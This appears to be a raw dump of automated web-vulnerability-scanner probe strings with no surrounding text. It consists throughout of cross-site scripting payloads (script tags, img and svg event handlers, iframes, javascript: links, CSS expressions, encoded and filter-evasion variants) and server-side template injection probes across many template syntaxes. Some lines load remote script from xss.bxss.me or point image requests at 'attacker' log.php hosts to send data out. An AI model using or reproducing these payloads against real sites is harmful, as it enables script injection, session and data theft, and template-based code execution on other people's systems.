555<img src=//xss.bxss.me/t/dot.gif onload=qqJ1(9293)>

555}body{zzz:Expre/**/SSion(6N9U(9615))}

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555<img src=xyz OnErRor=qqJ1(9819)>

555mMh4L <ScRiPt >6N9U(9983)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9903)>

555<WIZ8N0>UKMQX[!+!]</WIZ8N0>

555<ScRiPt >hrjJ(9354)</ScRiPt>

555<ScRiPt >ZPP2(9124)</ScRiPt>

555<WK5UGL>CGRIN[!+!]</WK5UGL>

555<WHZQJE>QLYNV[!+!]</WHZQJE>

555<ifRAme sRc=9954.com></IfRamE>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%71%4A%31%289183%29%3C%2F%73%43%72%69%70%54%3E

555<script>hrjJ(9087)</script>

555\u003CScRiPt\qqJ1(9850)\u003C/sCripT\u003E

555<script>ZPP2(9707)</script>

555<a80Mgzq x=9041>

555<script>hrjJ(9350)</script>9350

555<img sRc='http://attacker-9297/log.php?

555<ScR<ScRiPt>IpT>hrjJ(9181)</sCr<ScRiPt>IpT>

555<script>ZPP2(9308)</script>9308

555&lt

555<aPcrwQQ<

\xf6<img zzz onmouseover=qqJ1(97881) //\xf6>

555<ScRiPt >hrjJ(9443)</ScRiPt>

555<ScR<ScRiPt>IpT>ZPP2(9047)</sCr<ScRiPt>IpT>

555<input autofocus onfocus=qqJ1(9733)>

555'"()&%<zzz><ScRiPt >SWch(9325)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9625></ScRiPt>

'"()&%<zzz><ScRiPt >SWch(9371)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >ZPP2(9515)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9844></ScRiPt>

555<ScRiPt >hrjJ(9657)</ScRiPt>

5559543969

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=hrjJ(9624)

bfg3700\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3700

555<ScRiPt >ZPP2(9134)</ScRiPt>

555<isindex type=image src=1 onerror=hrjJ(9257)>

555}body{zzz:Expre/**/SSion(qqJ1(9600))}

555<svg  \xa0onload=ZPP2(9868)

555p3W57 <ScRiPt >qqJ1(9907)</ScRiPt>

bfgx3585\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3585

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=ZPP2(9902)>

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<body onload=hrjJ(9633)>

555<WYJQ4I>GEZ7W[!+!]</WYJQ4I>

555

555<ifRAme sRc=9437.com></IfRamE>

555<body onload=ZPP2(9802)>

555<img src=//xss.bxss.me/t/dot.gif onload=hrjJ(9671)>

555<azfIm1W x=9479>

555<img src=//xss.bxss.me/t/dot.gif onload=ZPP2(9701)>

555<img src=xyz OnErRor=hrjJ(9552)>

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9410/log.php?

555

555<img src=xyz OnErRor=ZPP2(9156)>

555<alvw4Bf<

555<img/src=">" onerror=alert(9053)>

555<img/src=">" onerror=alert(9659)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%72%6A%4A%289820%29%3C%2F%73%43%72%69%70%54%3E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%5A%50%50%32%289232%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\hrjJ(9775)\u003C/sCripT\u003E

555

555\u003CScRiPt\ZPP2(9313)\u003C/sCripT\u003E

555&lt

dfb{{98991*97996}}xca

555&lt

\xf6<img zzz onmouseover=hrjJ(92001) //\xf6>

\xf6<img zzz onmouseover=ZPP2(92781) //\xf6>

555<input autofocus onfocus=hrjJ(9784)>

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=ZPP2(9855)>

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >iIZB(9033)</ScRiPt>

555}body{zzz:Expre/**/SSion(hrjJ(9806))}

555<ScRiPt >SWch(9549)</ScRiPt>

555}body{zzz:Expre/**/SSion(ZPP2(9132))}

555w8EYQ <ScRiPt >hrjJ(9982)</ScRiPt>

555<WR10WT>FOMFZ[!+!]</WR10WT>

555'"()&%<zzz><ScRiPt >YFJo(9208)</ScRiPt>

555ogYUT <ScRiPt >ZPP2(9503)</ScRiPt>

'"()&%<zzz><ScRiPt >iIZB(9652)</ScRiPt>

'"()&%<zzz><ScRiPt >YFJo(9217)</ScRiPt>

555<W4LCWR>9PQQQ[!+!]</W4LCWR>

555<script>SWch(9624)</script>

5559873045

555<W2HZMU>CBOKP[!+!]</W2HZMU>

5559467582

555<script>SWch(9044)</script>9044

555<ifRAme sRc=9635.com></IfRamE>

bfg7856\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7856

555'"()&%<zzz><ScRiPt >yd3n(9471)</ScRiPt>

555<ifRAme sRc=9389.com></IfRamE>

bfg7129\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7129

bfgx3277\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3277

555<ScR<ScRiPt>IpT>SWch(9112)</sCr<ScRiPt>IpT>

555<a1EfHjO x=9340>

555<aPEbCWo x=9459>

bfgx5802\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5802

'"()&%<zzz><ScRiPt >yd3n(9341)</ScRiPt>

555<ScRiPt >SWch(9400)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9602/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9757></ScRiPt>

555<img sRc='http://attacker-9354/log.php?

<%={{={@{#{${dfb}}%>

5559545287

555

555<amIQfur<

555<ScRiPt >SWch(9724)</ScRiPt>

555

<th:t="${dfb}#foreach

bfg2984\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2984

555<akuO6aS<

555<svg  \xa0onload=SWch(9335)

bfgx8702\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8702

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=SWch(9805)>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555

dfb{98991*97996}xca

555<iframe src='data:text/html

555

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555<body onload=SWch(9643)>

dfb#{98991*97996}xca

555

dfb__${98991*97996}__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=SWch(9707)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{#98991*97996}xca

555<img src=xyz OnErRor=SWch(9668)>

555<ScRiPt >iIZB(9938)</ScRiPt>

555

555<img/src=">" onerror=alert(9953)>

dfb{@98991*97996}xca

555<W8ZTRH>4CXFS[!+!]</W8ZTRH>

555<script>iIZB(9736)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%57%63%68%289109%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

dfb{{=98991*97996}}xca

555\u003CScRiPt\SWch(9433)\u003C/sCripT\u003E

dfb@(98991*97996)xca

dfb[[${98991*97996}]]xca

555<script>iIZB(9552)</script>9552

dfb<%=98991*97996%>xca

555&lt

dfb__${98991*97996}__::.x

555<ScR<ScRiPt>IpT>iIZB(9771)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#set($x=98991*97996)${x}xca

\xf6<img zzz onmouseover=SWch(98471) //\xf6>

555<ScRiPt >yd3n(9657)</ScRiPt>

555<ScRiPt >iIZB(9851)</ScRiPt>

dfb{{"abc"|title}}xca

555<input autofocus onfocus=SWch(9556)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9493></ScRiPt>

555<WZJNG2>GVAOK[!+!]</WZJNG2>

555'"()&%<zzz><ScRiPt >nSts(9154)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

print("dfb" . 98991*97996 . "xca")

'"()&%<zzz><ScRiPt >nSts(9140)</ScRiPt>

555<script>yd3n(9503)</script>

555<ScRiPt >iIZB(9311)</ScRiPt>

98991*97996*98991*97996

<a HrEF=jaVaScRiPT:>

5559340956

555<svg  \xa0onload=iIZB(9896)

555<script>yd3n(9068)</script>9068

555}body{zzz:Expre/**/SSion(SWch(9345))}

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<isindex type=image src=1 onerror=iIZB(9015)>

bfg7183\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7183

555OmQq8 <ScRiPt >SWch(9729)</ScRiPt>

555<ScR<ScRiPt>IpT>yd3n(9136)</sCr<ScRiPt>IpT>

dfb{{{this}}}xca

555<iframe src='data:text/html

555<WER9T9>S1FZV[!+!]</WER9T9>

555<ScRiPt >yd3n(9821)</ScRiPt>

555<body onload=iIZB(9724)>

bfgx10230\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10230

#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9497></ScRiPt>

555<ifRAme sRc=9559.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=iIZB(9561)>

<%={{={@{#{${dfb}}%>

555<ScRiPt >yd3n(9528)</ScRiPt>

555

dfb#{xca}=123

dfb#{xca}=123

555

555<aRmhhND x=9165>

555<svg  \xa0onload=yd3n(9535)

555<img src=xyz OnErRor=iIZB(9152)>

555<img sRc='http://attacker-9173/log.php?

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9660)>

dfb{{'abcd'.toUpperCase()}}xca

555<isindex type=image src=1 onerror=yd3n(9156)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%69%49%5A%42%289669%29%3C%2F%73%43%72%69%70%54%3E

555<aCK2GzI<

555

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555\u003CScRiPt\iIZB(9152)\u003C/sCripT\u003E

555<iframe src='data:text/html

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<body onload=yd3n(9735)>

555&lt

dfb[[${98991*97996}]]xca

555

555<img src=//xss.bxss.me/t/dot.gif onload=yd3n(9474)>

\xf6<img zzz onmouseover=iIZB(99821) //\xf6>

555<input autofocus onfocus=iIZB(9227)>

dfb__${98991*97996}__::.x

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=yd3n(9042)>

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9487)>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >YFJo(9279)</ScRiPt>

dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(iIZB(9113))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%79%64%33%6E%289938%29%3C%2F%73%43%72%69%70%54%3E

555<WYITYA>PN2KE[!+!]</WYITYA>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555\u003CScRiPt\yd3n(9530)\u003C/sCripT\u003E

555odQHG <ScRiPt >iIZB(9075)</ScRiPt>

555<script>YFJo(9475)</script>

555<ScRiPt >nSts(9175)</ScRiPt>

555<WSOOJA>SO9Q1[!+!]</WSOOJA>

555&lt

555<script>YFJo(9917)</script>9917

555<WQ8N37>FYRRE[!+!]</WQ8N37>

555<ifRAme sRc=9653.com></IfRamE>

\xf6<img zzz onmouseover=yd3n(99541) //\xf6>

555<ScR<ScRiPt>IpT>YFJo(9033)</sCr<ScRiPt>IpT>

555<script>nSts(9820)</script>

555<a7pFoJN x=9847>

555<input autofocus onfocus=yd3n(9460)>

555<ScRiPt >YFJo(9204)</ScRiPt>

555<script>nSts(9273)</script>9273

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9368/log.php?

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9930></ScRiPt>

555<ScR<ScRiPt>IpT>nSts(9261)</sCr<ScRiPt>IpT>

555<ScRiPt >YFJo(9762)</ScRiPt>

555<ScRiPt >nSts(9703)</ScRiPt>

555<svg  \xa0onload=YFJo(9319)

<a HrEF=jaVaScRiPT:>

555<ayTjDdU<

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>

555<isindex type=image src=1 onerror=YFJo(9137)>

555}body{zzz:Expre/**/SSion(yd3n(9630))}

555<ScRiPt >nSts(9782)</ScRiPt>

555GCy1M <ScRiPt >yd3n(9222)</ScRiPt>

555<iframe src='data:text/html

555<svg  \xa0onload=nSts(9905)

555<WEBT3V>D9PNX[!+!]</WEBT3V>

555<body onload=YFJo(9167)>

555<isindex type=image src=1 onerror=nSts(9498)>

555<ifRAme sRc=9586.com></IfRamE>

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=YFJo(9102)>

555<ao2eMfU x=9564>

555<img src=xyz OnErRor=YFJo(9724)>

555<body onload=nSts(9642)>

555<img sRc='http://attacker-9147/log.php?

555<img src=//xss.bxss.me/t/dot.gif onload=nSts(9711)>

555<img/src=">" onerror=alert(9052)>

555<a5Sy13H<

555<img src=xyz OnErRor=nSts(9023)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%46%4A%6F%289594%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >0tvd(9160)</ScRiPt>

555<img/src=">" onerror=alert(9189)>

'"()&%<zzz><ScRiPt >0tvd(9009)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%53%74%73%289820%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\YFJo(9033)\u003C/sCripT\u003E

555\u003CScRiPt\nSts(9585)\u003C/sCripT\u003E

5559675530

555&lt

555'"()&%<zzz><ScRiPt >ItIw(9627)</ScRiPt>

bfg9161\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9161

555&lt

\xf6<img zzz onmouseover=YFJo(97601) //\xf6>

bfgx2311\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2311

'"()&%<zzz><ScRiPt >ItIw(9279)</ScRiPt>

555'"()&%<zzz><ScRiPt >2Gkj(9752)</ScRiPt>

\xf6<img zzz onmouseover=nSts(97221) //\xf6>

555<input autofocus onfocus=YFJo(9387)>

<a HrEF=http://xss.bxss.me></a>

'"()&%<zzz><ScRiPt >2Gkj(9638)</ScRiPt>

555<input autofocus onfocus=nSts(9373)>

5559759172

555'"()&%<zzz><ScRiPt >wDHX(9229)</ScRiPt>

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >ThyG(9406)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

5559196270

<a HrEF=jaVaScRiPT:>

555

bfg8446\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8446

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >ThyG(9248)</ScRiPt>

555'"()&%<zzz><ScRiPt >sBN4(9329)</ScRiPt>

555}body{zzz:Expre/**/SSion(YFJo(9760))}

'"()&%<zzz><ScRiPt >wDHX(9785)</ScRiPt>

555'"()&%<zzz><ScRiPt >6fdR(9338)</ScRiPt>

dfb{{98991*97996}}xca

bfgx9078\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9078

555}body{zzz:Expre/**/SSion(nSts(9948))}

bfg4122\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4122

5559657741

5559516294

bfgx6273\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6273

555zU7x5 <ScRiPt >YFJo(9563)</ScRiPt>

'"()&%<zzz><ScRiPt >sBN4(9511)</ScRiPt>

555U01SS <ScRiPt >nSts(9300)</ScRiPt>

'"()&%<zzz><ScRiPt >6fdR(9456)</ScRiPt>

bfg1154\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1154

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

5559355894

<%={{={@{#{${dfb}}%>

555<WSRCQF>07HAR[!+!]</WSRCQF>

bfg10496\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10496

555<WO3OQV>IG8RR[!+!]</WO3OQV>

bfg1732\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1732

dfb{98991*97996}xca

5559541832

bfgx2410\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2410

555<ifRAme sRc=9227.com></IfRamE>

<th:t="${dfb}#foreach

bfgx4442\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4442

555

bfgx7199\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7199

dfb${98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ifRAme sRc=9868.com></IfRamE>

bfg10654\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10654

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

dfb#{98991*97996}xca

<th:t="${dfb}#foreach

bfgx7888\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7888

555<ayCnWW8 x=9799>

555

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555

555<aZy2N52 x=9895>

555

dfb[[${98991*97996}]]xca

555

dfb{{98991*97996}}xca

dfb{#98991*97996}xca

555<img sRc='http://attacker-9037/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9311/log.php?

<th:t="${dfb}#foreach

555<asP55kz<

<th:t="${dfb}#foreach

dfb{@98991*97996}xca

555<aVMCFwA<

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555

555

dfb{{=98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

<th:t="${dfb}#foreach

555

dfb{98991*97996}xca

dfb@(98991*97996)xca

555<ScRiPt >2Gkj(9658)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555

dfb{{98991*97996}}xca

dfb${98991*97996}xca

dfb<%=98991*97996%>xca

dfb{{98991*97996}}xca

555<W3Q8YU>WJLQ1[!+!]</W3Q8YU>

dfb[[${98991*97996}]]xca

dfb#{98991*97996}xca

555

dfb[[${98991*97996}]]xca

dfb#set($x=98991*97996)${x}xca

dfb__${98991*97996}__::.x

555<script>2Gkj(9482)</script>

dfb{{98991*97996}}xca

dfb{#98991*97996}xca

dfb{{"abc"|title}}xca

555<script>2Gkj(9440)</script>9440

dfb{{98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb{98991*97996}xca

dfb{@98991*97996}xca

555<ScR<ScRiPt>IpT>2Gkj(9581)</sCr<ScRiPt>IpT>

555<ScRiPt >wDHX(9137)</ScRiPt>

dfb[[${98991*97996}]]xca

print("dfb" . 98991*97996 . "xca")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

555<WWYTWM>6OAOE[!+!]</WWYTWM>

dfb{{=98991*97996}}xca

555<ScRiPt >2Gkj(9714)</ScRiPt>

98991*97996*98991*97996

555<ScRiPt >ItIw(9822)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#{98991*97996}xca

555<script>wDHX(9811)</script>

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb@(98991*97996)xca

555<ScRiPt >6fdR(9701)</ScRiPt>

555<WOVJ4R>WQDNA[!+!]</WOVJ4R>

555<script>wDHX(9309)</script>9309

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9171></ScRiPt>

dfb{#98991*97996}xca

dfb{{{this}}}xca

dfb<%=98991*97996%>xca

555<script>ItIw(9569)</script>

555<ScRiPt >2Gkj(9272)</ScRiPt>

555<WQYNLF>B7UM9[!+!]</WQYNLF>

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>wDHX(9942)</sCr<ScRiPt>IpT>

dfb{@98991*97996}xca

555<script>6fdR(9774)</script>

dfb#{xca}=123

555<script>ItIw(9366)</script>9366

dfb#set($x=98991*97996)${x}xca

555<svg  \xa0onload=2Gkj(9059)

555<script>6fdR(9261)</script>9261

555<ScRiPt >wDHX(9554)</ScRiPt>

dfb{{=98991*97996}}xca

dfb{{"abc"|title}}xca

555<ScR<ScRiPt>IpT>6fdR(9318)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>ItIw(9412)</sCr<ScRiPt>IpT>

555<isindex type=image src=1 onerror=2Gkj(9502)>

dfb@(98991*97996)xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9685></ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >ItIw(9237)</ScRiPt>

dfb<%=98991*97996%>xca

555<iframe src='data:text/html

print("dfb" . 98991*97996 . "xca")

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9890></ScRiPt>

555<ScRiPt >6fdR(9440)</ScRiPt>

555<body onload=2Gkj(9963)>

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >wDHX(9559)</ScRiPt>

98991*97996*98991*97996

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9669></ScRiPt>

555<ScRiPt >ItIw(9456)</ScRiPt>

dfb{{98991*97996}}xca

555<svg  \xa0onload=wDHX(9703)

555<img src=//xss.bxss.me/t/dot.gif onload=2Gkj(9113)>

dfb{{"abc"|title}}xca

555<svg  \xa0onload=ItIw(9401)

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb[[${98991*97996}]]xca

555<isindex type=image src=1 onerror=wDHX(9204)>

555<ScRiPt >6fdR(9547)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

555<img src=xyz OnErRor=2Gkj(9901)>

dfb{{{this}}}xca

555<iframe src='data:text/html

98991*97996*98991*97996

555<isindex type=image src=1 onerror=ItIw(9008)>

555<svg  \xa0onload=6fdR(9065)

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9969)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

555<body onload=wDHX(9004)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

#{98991*97996*98991*97996}

555<isindex type=image src=1 onerror=6fdR(9164)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%47%6B%6A%289043%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=wDHX(9546)>

555<body onload=ItIw(9742)>

dfb#{xca}=123

dfb{{{this}}}xca

555<iframe src='data:text/html

555<ScRiPt >0tvd(9245)</ScRiPt>

555'"()&%<zzz><ScRiPt >b6fN(9184)</ScRiPt>

555\u003CScRiPt\2Gkj(9213)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=ItIw(9298)>

555<body onload=6fdR(9761)>

#{98991*97996*98991*97996}

'"()&%<zzz><ScRiPt >b6fN(9311)</ScRiPt>

555<img src=xyz OnErRor=wDHX(9221)>

dfb{{'abcd'.toUpperCase()}}xca

555<WNZL3K>2HJWG[!+!]</WNZL3K>

555&lt

555<img src=//xss.bxss.me/t/dot.gif onload=6fdR(9489)>

dfb#{xca}=123

5559110133

555<img/src=">" onerror=alert(9919)>

555<img src=xyz OnErRor=ItIw(9821)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{'abcd'.toUpperCase()}}xca

\xf6<img zzz onmouseover=2Gkj(95071) //\xf6>

%35%35%35%3C%53%63%52%69%50%74%20%3E%77%44%48%58%289792%29%3C%2F%73%43%72%69%70%54%3E

555<script>0tvd(9250)</script>

555<img src=xyz OnErRor=6fdR(9304)>

bfg8733\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8733

555<img/src=">" onerror=alert(9490)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{98991*97996}}xca

555<input autofocus onfocus=2Gkj(9240)>

555\u003CScRiPt\wDHX(9985)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%49%74%49%77%289738%29%3C%2F%73%43%72%69%70%54%3E

555<script>0tvd(9185)</script>9185

555<img/src=">" onerror=alert(9903)>

dfb[[${98991*97996}]]xca

bfgx3541\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3541

555<ScR<ScRiPt>IpT>0tvd(9037)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

555&lt

555\u003CScRiPt\ItIw(9863)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%66%64%52%289124%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ScRiPt >0tvd(9434)</ScRiPt>

555&lt

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=wDHX(96091) //\xf6>

555\u003CScRiPt\6fdR(9828)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9552></ScRiPt>

555<ScRiPt >ThyG(9074)</ScRiPt>

\xf6<img zzz onmouseover=ItIw(99491) //\xf6>

555}body{zzz:Expre/**/SSion(2Gkj(9117))}

dfb__${98991*97996}__::.x

555<ScRiPt >0tvd(9023)</ScRiPt>

<th:t="${dfb}#foreach

555<WKZJSZ>HAZTC[!+!]</WKZJSZ>

555C4QRc <ScRiPt >2Gkj(9955)</ScRiPt>

555<input autofocus onfocus=wDHX(9562)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<script>ThyG(9027)</script>

555<svg  \xa0onload=0tvd(9374)

555

555<input autofocus onfocus=ItIw(9908)>

555<ScRiPt >sBN4(9773)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<W1AKC4>JP6CL[!+!]</W1AKC4>

\xf6<img zzz onmouseover=6fdR(90071) //\xf6>

555<isindex type=image src=1 onerror=0tvd(9528)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WR3WRE>FPFJL[!+!]</WR3WRE>

555<input autofocus onfocus=6fdR(9278)>

<a HrEF=jaVaScRiPT:>

555<ifRAme sRc=9241.com></IfRamE>

555<script>ThyG(9107)</script>9107

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

555

555<iframe src='data:text/html

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(wDHX(9997))}

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>ThyG(9165)</sCr<ScRiPt>IpT>

555<a5FSt2e x=9272>

555<script>sBN4(9174)</script>

555ionbi <ScRiPt >wDHX(9300)</ScRiPt>

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(ItIw(9629))}

555<script>sBN4(9043)</script>9043

555<body onload=0tvd(9176)>

555<ScRiPt >ThyG(9295)</ScRiPt>

555jNtwQ <ScRiPt >ItIw(9175)</ScRiPt>

555<ScR<ScRiPt>IpT>sBN4(9276)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(6fdR(9343))}

555<img sRc='http://attacker-9621/log.php?

555<WLYN9Q>TVTGN[!+!]</WLYN9Q>

dfb[[${98991*97996}]]xca

555<WYONRO>XGXPK[!+!]</WYONRO>

555<img src=//xss.bxss.me/t/dot.gif onload=0tvd(9430)>

555Sgv2i <ScRiPt >6fdR(9394)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9404></ScRiPt>

555<ScRiPt >sBN4(9026)</ScRiPt>

555<ifRAme sRc=9309.com></IfRamE>

555<az3P8Bk<

555<img src=xyz OnErRor=0tvd(9641)>

555<ifRAme sRc=9598.com></IfRamE>

dfb__${98991*97996}__::.x

555<ScRiPt >ThyG(9712)</ScRiPt>

555<WPMJKA>ZOCXY[!+!]</WPMJKA>

555'"()&%<zzz><ScRiPt >3cJr(9571)</ScRiPt>

555<img/src=">" onerror=alert(9308)>

555<a4WQF1X x=9415>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9113></ScRiPt>

555<axTPYgz x=9637>

555<svg  \xa0onload=ThyG(9386)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9629.com></IfRamE>

'"()&%<zzz><ScRiPt >3cJr(9476)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%30%74%76%64%289158%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9751/log.php?

555<ScRiPt >sBN4(9058)</ScRiPt>

